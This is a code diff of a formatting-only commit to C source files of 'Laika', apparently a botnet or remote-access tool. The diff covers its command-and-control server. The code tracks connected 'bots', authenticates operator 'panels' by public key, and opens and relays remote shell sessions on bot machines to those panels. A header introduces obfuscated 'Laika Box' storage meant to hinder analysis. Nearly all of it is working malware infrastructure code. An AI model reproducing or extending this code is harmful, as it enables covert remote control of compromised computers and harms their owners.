||||||
);
|
|
||||||
|
|
||||||
LAIKA_TRY
|
LAIKA_TRY
|
||||||
/* setup and accept new peer */
|
/* setup and accept new peer */
|
||||||
@ -379,15 +396,18 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
|
|||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub) {
|
struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub)
|
||||||
tCNC_PeerHashElem *elem = (tCNC_PeerHashElem*)hashmap_get(cnc->peers, &(tCNC_PeerHashElem){.pub = pub});
|
{
|
||||||
|
tCNC_PeerHashElem *elem =
|
||||||
|
(tCNC_PeerHashElem *)hashmap_get(cnc->peers, &(tCNC_PeerHashElem){.pub = pub});
|
||||||
|
|
||||||
return elem ? elem->peer : NULL;
|
return elem ? elem->peer : NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool sweepPeers(struct sLaika_peer *peer, void *uData) {
|
bool sweepPeers(struct sLaika_peer *peer, void *uData)
|
||||||
|
{
|
||||||
struct sLaika_peerInfo *pInfo = GETPINFOFROMPEER(peer);
|
struct sLaika_peerInfo *pInfo = GETPINFOFROMPEER(peer);
|
||||||
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
|
struct sLaika_cnc *cnc = (struct sLaika_cnc *)uData;
|
||||||
long currTime = laikaT_getTime();
|
long currTime = laikaT_getTime();
|
||||||
|
|
||||||
/* peer has been silent for a while, kill 'em */
|
/* peer has been silent for a while, kill 'em */
|
||||||
@ -399,33 +419,38 @@ bool sweepPeers(struct sLaika_peer *peer, void *uData) {
|
|||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
|
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task,
|
||||||
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
|
clock_t currTick, void *uData)
|
||||||
|
{
|
||||||
|
struct sLaika_cnc *cnc = (struct sLaika_cnc *)uData;
|
||||||
|
|
||||||
laikaC_iterPeers(cnc, sweepPeers, (void*)cnc);
|
laikaC_iterPeers(cnc, sweepPeers, (void *)cnc);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* =======================================[[ Peer Iter ]]======================================= */
|
/* =======================================[[ Peer Iter ]]======================================= */
|
||||||
|
|
||||||
struct sWrapperData {
|
struct sWrapperData
|
||||||
|
{
|
||||||
tLaika_peerIter iter;
|
tLaika_peerIter iter;
|
||||||
void *uData;
|
void *uData;
|
||||||
};
|
};
|
||||||
|
|
||||||
/* wrapper iterator */
|
/* wrapper iterator */
|
||||||
bool iterWrapper(const void *rawItem, void *uData) {
|
bool iterWrapper(const void *rawItem, void *uData)
|
||||||
struct sWrapperData *data = (struct sWrapperData*)uData;
|
{
|
||||||
tCNC_PeerHashElem *item = (tCNC_PeerHashElem*)rawItem;
|
struct sWrapperData *data = (struct sWrapperData *)uData;
|
||||||
|
tCNC_PeerHashElem *item = (tCNC_PeerHashElem *)rawItem;
|
||||||
return data->iter(item->peer, data->uData);
|
return data->iter(item->peer, data->uData);
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData) {
|
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData)
|
||||||
|
{
|
||||||
struct sWrapperData wrapper;
|
struct sWrapperData wrapper;
|
||||||
wrapper.iter = iter;
|
wrapper.iter = iter;
|
||||||
wrapper.uData = uData;
|
wrapper.uData = uData;
|
||||||
|
|
||||||
/* iterate over hashmap calling our iterWrapper, pass the *real* iterator to
|
/* iterate over hashmap calling our iterWrapper, pass the *real* iterator to
|
||||||
itemWrapper so that it can call it. probably a better way to do this
|
itemWrapper so that it can call it. probably a better way to do this
|
||||||
but w/e lol */
|
but w/e lol */
|
||||||
hashmap_scan(cnc->peers, iterWrapper, &wrapper);
|
hashmap_scan(cnc->peers, iterWrapper, &wrapper);
|
||||||
}
|
}
|
@ -1,12 +1,13 @@
|
|||||||
#include "lerror.h"
|
#include "cpanel.h"
|
||||||
#include "lmem.h"
|
|
||||||
|
|
||||||
#include "cnc.h"
|
#include "cnc.h"
|
||||||
#include "cpeer.h"
|
#include "cpeer.h"
|
||||||
#include "cpanel.h"
|
#include "lerror.h"
|
||||||
|
#include "lmem.h"
|
||||||
|
|
||||||
bool sendPanelPeerIter(struct sLaika_peer *peer, void *uData) {
|
bool sendPanelPeerIter(struct sLaika_peer *peer, void *uData)
|
||||||
struct sLaika_peer *authPeer = (struct sLaika_peer*)uData;
|
{
|
||||||
|
struct sLaika_peer *authPeer = (struct sLaika_peer *)uData;
|
||||||
|
|
||||||
/* make sure we're not sending connection information to themselves */
|
/* make sure we're not sending connection information to themselves */
|
||||||
if (peer != authPeer) {
|
if (peer != authPeer) {
|
||||||
@ -17,7 +18,8 @@ bool sendPanelPeerIter(struct sLaika_peer *peer, void *uData) {
|
|||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) {
|
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
|
||||||
|
{
|
||||||
laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_ADD_PEER_RES);
|
laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_ADD_PEER_RES);
|
||||||
|
|
||||||
/* write the peer's info */
|
/* write the peer's info */
|
||||||
@ -31,7 +33,8 @@ void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
|
|||||||
laikaS_endOutPacket(authPeer);
|
laikaS_endOutPacket(authPeer);
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) {
|
void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
|
||||||
|
{
|
||||||
laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_RMV_PEER_RES);
|
laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_RMV_PEER_RES);
|
||||||
|
|
||||||
/* write the peer's pubkey */
|
/* write the peer's pubkey */
|
||||||
@ -43,34 +46,38 @@ void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
|
|||||||
|
|
||||||
/* ================================[[ [Auth] Packet Handlers ]]================================= */
|
/* ================================[[ [Auth] Packet Handlers ]]================================= */
|
||||||
|
|
||||||
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
|
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
|
||||||
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
|
void *uData)
|
||||||
|
{
|
||||||
|
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
|
||||||
struct sLaika_cnc *cnc = pInfo->cnc;
|
struct sLaika_cnc *cnc = pInfo->cnc;
|
||||||
PEERTYPE type;
|
PEERTYPE type;
|
||||||
int i;
|
int i;
|
||||||
|
|
||||||
type = laikaS_readByte(&authPeer->sock);
|
type = laikaS_readByte(&authPeer->sock);
|
||||||
switch (type) {
|
switch (type) {
|
||||||
case PEER_AUTH:
|
case PEER_AUTH:
|
||||||
/* check that peer's pubkey is authenticated */
|
/* check that peer's pubkey is authenticated */
|
||||||
if (!laikaK_checkAuth(authPeer->peerPub, cnc->authKeys, cnc->authKeysCount))
|
if (!laikaK_checkAuth(authPeer->peerPub, cnc->authKeys, cnc->authKeysCount))
|
||||||
LAIKA_ERROR("unauthorized panel!\n");
|
LAIKA_ERROR("unauthorized panel!\n");
|
||||||
|
|
||||||
/* notify cnc */
|
/* notify cnc */
|
||||||
laikaC_setPeerType(cnc, authPeer, PEER_AUTH);
|
laikaC_setPeerType(cnc, authPeer, PEER_AUTH);
|
||||||
LAIKA_DEBUG("Accepted authenticated panel %p\n", authPeer);
|
LAIKA_DEBUG("Accepted authenticated panel %p\n", authPeer);
|
||||||
|
|
||||||
/* they passed! send list of our peers */
|
/* they passed! send list of our peers */
|
||||||
laikaC_iterPeers(cnc, sendPanelPeerIter, (void*)authPeer);
|
laikaC_iterPeers(cnc, sendPanelPeerIter, (void *)authPeer);
|
||||||
break;
|
break;
|
||||||
default:
|
default:
|
||||||
LAIKA_ERROR("unknown peerType [%d]!\n", authPeer->type);
|
LAIKA_ERROR("unknown peerType [%d]!\n", authPeer->type);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
|
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
|
||||||
|
void *uData)
|
||||||
|
{
|
||||||
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
|
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
|
||||||
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
|
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
|
||||||
struct sLaika_cnc *cnc = pInfo->cnc;
|
struct sLaika_cnc *cnc = pInfo->cnc;
|
||||||
struct sLaika_peer *peer;
|
struct sLaika_peer *peer;
|
||||||
uint16_t cols, rows;
|
uint16_t cols, rows;
|
||||||
@ -91,8 +98,10 @@ void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_
|
|||||||
laikaC_openShell(peer, authPeer, cols, rows);
|
laikaC_openShell(peer, authPeer, cols, rows);
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
|
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
|
||||||
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
|
void *uData)
|
||||||
|
{
|
||||||
|
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
|
||||||
struct sLaika_cnc *cnc = pInfo->cnc;
|
struct sLaika_cnc *cnc = pInfo->cnc;
|
||||||
struct sLaika_shellInfo *shell;
|
struct sLaika_shellInfo *shell;
|
||||||
uint32_t id;
|
uint32_t id;
|
||||||
@ -106,15 +115,17 @@ void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT
|
|||||||
laikaC_closeShell(shell);
|
laikaC_closeShell(shell);
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
|
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
|
||||||
|
void *uData)
|
||||||
|
{
|
||||||
uint8_t data[LAIKA_SHELL_DATA_MAX_LENGTH];
|
uint8_t data[LAIKA_SHELL_DATA_MAX_LENGTH];
|
||||||
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
|
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
|
||||||
struct sLaika_cnc *cnc = pInfo->cnc;
|
struct sLaika_cnc *cnc = pInfo->cnc;
|
||||||
struct sLaika_peer *peer;
|
struct sLaika_peer *peer;
|
||||||
struct sLaika_shellInfo *shell;
|
struct sLaika_shellInfo *shell;
|
||||||
uint32_t id;
|
uint32_t id;
|
||||||
|
|
||||||
if (sz-sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH || sz <= sizeof(uint32_t))
|
if (sz - sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH || sz <= sizeof(uint32_t))
|
||||||
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Wrong data size!\n");
|
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Wrong data size!\n");
|
||||||
|
|
||||||
laikaS_readInt(&authPeer->sock, &id, sizeof(uint32_t));
|
laikaS_readInt(&authPeer->sock, &id, sizeof(uint32_t));
|
||||||
|
@ -1,13 +1,14 @@
|
|||||||
#include "lmem.h"
|
#include "cpeer.h"
|
||||||
|
|
||||||
#include "cnc.h"
|
#include "cnc.h"
|
||||||
#include "cpeer.h"
|
|
||||||
#include "lerror.h"
|
#include "lerror.h"
|
||||||
|
#include "lmem.h"
|
||||||
|
|
||||||
/* =======================================[[ Peer Info ]]======================================= */
|
/* =======================================[[ Peer Info ]]======================================= */
|
||||||
|
|
||||||
struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) {
|
struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz)
|
||||||
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)laikaM_malloc(sz);
|
{
|
||||||
|
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)laikaM_malloc(sz);
|
||||||
int i;
|
int i;
|
||||||
|
|
||||||
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
|
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
|
||||||
@ -20,29 +21,34 @@ struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) {
|
|||||||
return pInfo;
|
return pInfo;
|
||||||
}
|
}
|
||||||
|
|
||||||
struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc) {
|
struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc)
|
||||||
struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_botInfo));
|
{
|
||||||
|
struct sLaika_botInfo *bInfo =
|
||||||
|
(struct sLaika_botInfo *)allocBasePeerInfo(cnc, sizeof(struct sLaika_botInfo));
|
||||||
|
|
||||||
/* TODO */
|
/* TODO */
|
||||||
return bInfo;
|
return bInfo;
|
||||||
}
|
}
|
||||||
|
|
||||||
struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc) {
|
struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc)
|
||||||
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_authInfo));
|
{
|
||||||
|
struct sLaika_authInfo *aInfo =
|
||||||
|
(struct sLaika_authInfo *)allocBasePeerInfo(cnc, sizeof(struct sLaika_authInfo));
|
||||||
|
|
||||||
/* TODO */
|
/* TODO */
|
||||||
return aInfo;
|
return aInfo;
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo) {
|
void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo)
|
||||||
|
{
|
||||||
peer->uData = NULL;
|
peer->uData = NULL;
|
||||||
laikaM_free(pInfo);
|
laikaM_free(pInfo);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/* ======================================[[ Shell Info ]]======================================= */
|
/* ======================================[[ Shell Info ]]======================================= */
|
||||||
|
|
||||||
int findOpenShellID(struct sLaika_peerInfo *pInfo) {
|
int findOpenShellID(struct sLaika_peerInfo *pInfo)
|
||||||
|
{
|
||||||
int id;
|
int id;
|
||||||
|
|
||||||
for (id = 0; id < LAIKA_MAX_SHELLS; id++) {
|
for (id = 0; id < LAIKA_MAX_SHELLS; id++) {
|
||||||
@ -53,8 +59,11 @@ int findOpenShellID(struct sLaika_peerInfo *pInfo) {
|
|||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
struct sLaika_shellInfo* laikaC_openShell(struct sLaika_peer *bot, struct sLaika_peer *auth, uint16_t cols, uint16_t rows) {
|
struct sLaika_shellInfo *laikaC_openShell(struct sLaika_peer *bot, struct sLaika_peer *auth,
|
||||||
struct sLaika_shellInfo *shell = (struct sLaika_shellInfo*)laikaM_malloc(sizeof(struct sLaika_shellInfo));
|
uint16_t cols, uint16_t rows)
|
||||||
|
{
|
||||||
|
struct sLaika_shellInfo *shell =
|
||||||
|
(struct sLaika_shellInfo *)laikaM_malloc(sizeof(struct sLaika_shellInfo));
|
||||||
|
|
||||||
shell->bot = bot;
|
shell->bot = bot;
|
||||||
shell->auth = auth;
|
shell->auth = auth;
|
||||||
@ -88,7 +97,8 @@ struct sLaika_shellInfo* laikaC_openShell(struct sLaika_peer *bot, struct sLaika
|
|||||||
return shell;
|
return shell;
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaC_closeShell(struct sLaika_shellInfo *shell) {
|
void laikaC_closeShell(struct sLaika_shellInfo *shell)
|
||||||
|
{
|
||||||
/* send SHELL_CLOSE packets */
|
/* send SHELL_CLOSE packets */
|
||||||
laikaS_startOutPacket(shell->bot, LAIKAPKT_SHELL_CLOSE);
|
laikaS_startOutPacket(shell->bot, LAIKAPKT_SHELL_CLOSE);
|
||||||
laikaS_writeInt(&shell->bot->sock, &shell->botShellID, sizeof(uint32_t));
|
laikaS_writeInt(&shell->bot->sock, &shell->botShellID, sizeof(uint32_t));
|
||||||
@ -106,7 +116,8 @@ void laikaC_closeShell(struct sLaika_shellInfo *shell) {
|
|||||||
laikaM_free(shell);
|
laikaM_free(shell);
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaC_closeShells(struct sLaika_peer *peer) {
|
void laikaC_closeShells(struct sLaika_peer *peer)
|
||||||
|
{
|
||||||
struct sLaika_peerInfo *pInfo = GETPINFOFROMPEER(peer);
|
struct sLaika_peerInfo *pInfo = GETPINFOFROMPEER(peer);
|
||||||
int i;
|
int i;
|
||||||
|
|
||||||
@ -118,8 +129,9 @@ void laikaC_closeShells(struct sLaika_peer *peer) {
|
|||||||
|
|
||||||
/* ================================[[ [Peer] Packet Handlers ]]================================= */
|
/* ================================[[ [Peer] Packet Handlers ]]================================= */
|
||||||
|
|
||||||
void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||||
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
|
{
|
||||||
|
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
|
||||||
struct sLaika_shellInfo *shell;
|
struct sLaika_shellInfo *shell;
|
||||||
uint32_t id;
|
uint32_t id;
|
||||||
|
|
||||||
@ -133,14 +145,15 @@ void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
|
|||||||
laikaC_closeShell(shell);
|
laikaC_closeShell(shell);
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||||
|
{
|
||||||
char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
|
char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
|
||||||
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
|
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
|
||||||
struct sLaika_shellInfo *shell;
|
struct sLaika_shellInfo *shell;
|
||||||
uint32_t id;
|
uint32_t id;
|
||||||
|
|
||||||
/* ignore packet if malformed */
|
/* ignore packet if malformed */
|
||||||
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH+sizeof(uint32_t) || sz <= sizeof(uint32_t))
|
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH + sizeof(uint32_t) || sz <= sizeof(uint32_t))
|
||||||
return;
|
return;
|
||||||
|
|
||||||
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
|
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
|
||||||
@ -149,11 +162,11 @@ void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
|
|||||||
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
|
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
|
||||||
return;
|
return;
|
||||||
|
|
||||||
laikaS_read(&peer->sock, (void*)buf, sz-sizeof(uint32_t));
|
laikaS_read(&peer->sock, (void *)buf, sz - sizeof(uint32_t));
|
||||||
|
|
||||||
/* forward SHELL_DATA packet to auth */
|
/* forward SHELL_DATA packet to auth */
|
||||||
laikaS_startVarPacket(shell->auth, LAIKAPKT_SHELL_DATA);
|
laikaS_startVarPacket(shell->auth, LAIKAPKT_SHELL_DATA);
|
||||||
laikaS_writeInt(&shell->auth->sock, &shell->authShellID, sizeof(uint32_t));
|
laikaS_writeInt(&shell->auth->sock, &shell->authShellID, sizeof(uint32_t));
|
||||||
laikaS_write(&shell->auth->sock, buf, sz-sizeof(uint32_t));
|
laikaS_write(&shell->auth->sock, buf, sz - sizeof(uint32_t));
|
||||||
laikaS_endVarPacket(shell->auth);
|
laikaS_endVarPacket(shell->auth);
|
||||||
}
|
}
|
||||||
|
@ -1,39 +1,48 @@
|
|||||||
#include <stdio.h>
|
|
||||||
|
|
||||||
#include "ltask.h"
|
|
||||||
#include "lconfig.h"
|
|
||||||
#include "cnc.h"
|
#include "cnc.h"
|
||||||
#include "ini.h"
|
#include "ini.h"
|
||||||
|
#include "lconfig.h"
|
||||||
|
#include "ltask.h"
|
||||||
|
|
||||||
#define STRING(x) #x
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#define STRING(x) #x
|
||||||
#define MACROLITSTR(x) STRING(x)
|
#define MACROLITSTR(x) STRING(x)
|
||||||
|
|
||||||
struct sLaika_taskService tService;
|
struct sLaika_taskService tService;
|
||||||
|
|
||||||
static int iniHandler(void* user, const char* section, const char* name, const char* value) {
|
#define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0
|
||||||
struct sLaika_cnc* cnc = (struct sLaika_cnc*)user;
|
|
||||||
|
static int iniHandler(void *user, const char *section, const char *name, const char *value)
|
||||||
|
{
|
||||||
|
struct sLaika_cnc *cnc = (struct sLaika_cnc *)user;
|
||||||
|
|
||||||
#define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0
|
|
||||||
if (MATCH("auth", "public-key-entry")) {
|
if (MATCH("auth", "public-key-entry")) {
|
||||||
laikaC_addAuthKey(cnc, value);
|
laikaC_addAuthKey(cnc, value);
|
||||||
} else if (MATCH("server", "port")) {
|
} else if (MATCH("server", "port")) {
|
||||||
cnc->port = atoi(value);
|
cnc->port = atoi(value);
|
||||||
} else {
|
} else {
|
||||||
return 0; /* unknown section/name, error */
|
return 0; /* unknown section/name, error */
|
||||||
}
|
}
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool loadConfig(struct sLaika_cnc *cnc, char *config) {
|
#undef MATCH
|
||||||
|
|
||||||
|
bool loadConfig(struct sLaika_cnc *cnc, char *config)
|
||||||
|
{
|
||||||
int iniRes;
|
int iniRes;
|
||||||
|
|
||||||
printf("Loading config file '%s'...\n", config);
|
printf("Loading config file '%s'...\n", config);
|
||||||
if ((iniRes = ini_parse(config, iniHandler, (void*)cnc)) < 0) {
|
if ((iniRes = ini_parse(config, iniHandler, (void *)cnc)) < 0) {
|
||||||
switch (iniRes) {
|
switch (iniRes) {
|
||||||
case -1: printf("Couldn't load config file '%s'!\n", config); break;
|
case -1:
|
||||||
case -2: printf("Memory allocation error :/\n"); break;
|
printf("Couldn't load config file '%s'!\n", config);
|
||||||
default:
|
break;
|
||||||
printf("Parser error on line %d in config file '%s'!\n", iniRes, config);
|
case -2:
|
||||||
|
printf("Memory allocation error :/\n");
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
printf("Parser error on line %d in config file '%s'!\n", iniRes, config);
|
||||||
}
|
}
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
@ -41,11 +50,14 @@ bool loadConfig(struct sLaika_cnc *cnc, char *config) {
|
|||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
int main(int argv, char *argc[]) {
|
int main(int argv, char *argc[])
|
||||||
|
{
|
||||||
struct sLaika_cnc *cnc;
|
struct sLaika_cnc *cnc;
|
||||||
char *configFile = "server.ini";
|
char *configFile = "server.ini";
|
||||||
|
|
||||||
printf("Laika v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR) "-" LAIKA_VERSION_COMMIT "\n");
|
printf("Laika v" MACROLITSTR(LAIKA_VERSION_MAJOR) "."
|
||||||
|
MACROLITSTR(LAIKA_VERSION_MINOR) "-" LAIKA_VERSION_COMMIT "\n");
|
||||||
|
|
||||||
cnc = laikaC_newCNC(atoi(LAIKA_CNC_PORT));
|
cnc = laikaC_newCNC(atoi(LAIKA_CNC_PORT));
|
||||||
|
|
||||||
/* load config file */
|
/* load config file */
|
||||||
@ -56,7 +68,7 @@ int main(int argv, char *argc[]) {
|
|||||||
return 1;
|
return 1;
|
||||||
|
|
||||||
laikaT_initTaskService(&tService);
|
laikaT_initTaskService(&tService);
|
||||||
laikaT_newTask(&tService, 1000, laikaC_sweepPeersTask, (void*)cnc);
|
laikaT_newTask(&tService, 1000, laikaC_sweepPeersTask, (void *)cnc);
|
||||||
|
|
||||||
/* start cnc */
|
/* start cnc */
|
||||||
laikaC_bindServer(cnc);
|
laikaC_bindServer(cnc);
|
||||||
|
@ -1,32 +1,36 @@
|
|||||||
#ifndef LAIKA_LAIKA_H
|
#ifndef LAIKA_LAIKA_H
|
||||||
#define LAIKA_LAIKA_H
|
#define LAIKA_LAIKA_H
|
||||||
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <stddef.h>
|
|
||||||
#include <stdint.h>
|
|
||||||
#include <stdbool.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <string.h>
|
|
||||||
|
|
||||||
#include "lconfig.h"
|
#include "lconfig.h"
|
||||||
|
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <stddef.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
#ifdef DEBUG
|
#ifdef DEBUG
|
||||||
# define LAIKA_DEBUG(...) printf("[~] " __VA_ARGS__); fflush(stdout);
|
# define LAIKA_DEBUG(...) \
|
||||||
|
printf("[~] " __VA_ARGS__); \
|
||||||
|
fflush(stdout);
|
||||||
#else
|
#else
|
||||||
# define LAIKA_DEBUG(...) ((void)0) /* no op */
|
# define LAIKA_DEBUG(...) ((void)0) /* no op */
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#ifndef _MSC_VER
|
#ifndef _MSC_VER
|
||||||
# define LAIKA_FORCEINLINE __attribute__((always_inline)) inline
|
# define LAIKA_FORCEINLINE __attribute__((always_inline)) inline
|
||||||
#else
|
#else
|
||||||
# define LAIKA_FORCEINLINE __forceinline
|
# define LAIKA_FORCEINLINE __forceinline
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
LAIKA_FORCEINLINE int MIN(int a, int b) {
|
LAIKA_FORCEINLINE int MIN(int a, int b)
|
||||||
|
{
|
||||||
return a < b ? a : b;
|
return a < b ? a : b;
|
||||||
}
|
}
|
||||||
|
|
||||||
LAIKA_FORCEINLINE int MAX(int a, int b) {
|
LAIKA_FORCEINLINE int MAX(int a, int b)
|
||||||
|
{
|
||||||
return a > b ? a : b;
|
return a > b ? a : b;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -1,38 +1,43 @@
|
|||||||
#ifndef LAIKA_BOX_H
|
#ifndef LAIKA_BOX_H
|
||||||
#define LAIKA_BOX_H
|
#define LAIKA_BOX_H
|
||||||
|
|
||||||
#include <inttypes.h>
|
|
||||||
|
|
||||||
#include "laika.h"
|
#include "laika.h"
|
||||||
#include "lmem.h"
|
#include "lmem.h"
|
||||||
#include "lvm.h"
|
|
||||||
#include "lsodium.h"
|
#include "lsodium.h"
|
||||||
|
#include "lvm.h"
|
||||||
|
|
||||||
|
#include <inttypes.h>
|
||||||
|
|
||||||
#define LAIKA_BOX_SCRATCH_SIZE 128
|
#define LAIKA_BOX_SCRATCH_SIZE 128
|
||||||
#define LAIKA_BOX_HEAPSIZE 256
|
#define LAIKA_BOX_HEAPSIZE 256
|
||||||
|
|
||||||
enum {
|
enum
|
||||||
|
{
|
||||||
LAIKA_BOX_UNLOCKED_INDX, /* for output */
|
LAIKA_BOX_UNLOCKED_INDX, /* for output */
|
||||||
LAIKA_BOX_SCRATCH_INDX, /* for misc. scratch work the vm needs to do (hold keys, etc.) */
|
LAIKA_BOX_SCRATCH_INDX, /* for misc. scratch work the vm needs to do (hold keys, etc.) */
|
||||||
LAIKA_BOX_DATA_INDX /* for input */
|
LAIKA_BOX_DATA_INDX /* for input */
|
||||||
};
|
};
|
||||||
|
|
||||||
/* Laika Box:
|
/* Laika Box:
|
||||||
Laika Boxes are obfuscated storage mediums where data is only in memory for a very short amount of time.
|
Laika Boxes are obfuscated storage mediums where data is only in memory for a very short
|
||||||
Of course, this can be bypassed with a simple debugger and setting a breakpoint right after the data is 'unlocked',
|
amount of time. Of course, this can be bypassed with a simple debugger and setting a breakpoint
|
||||||
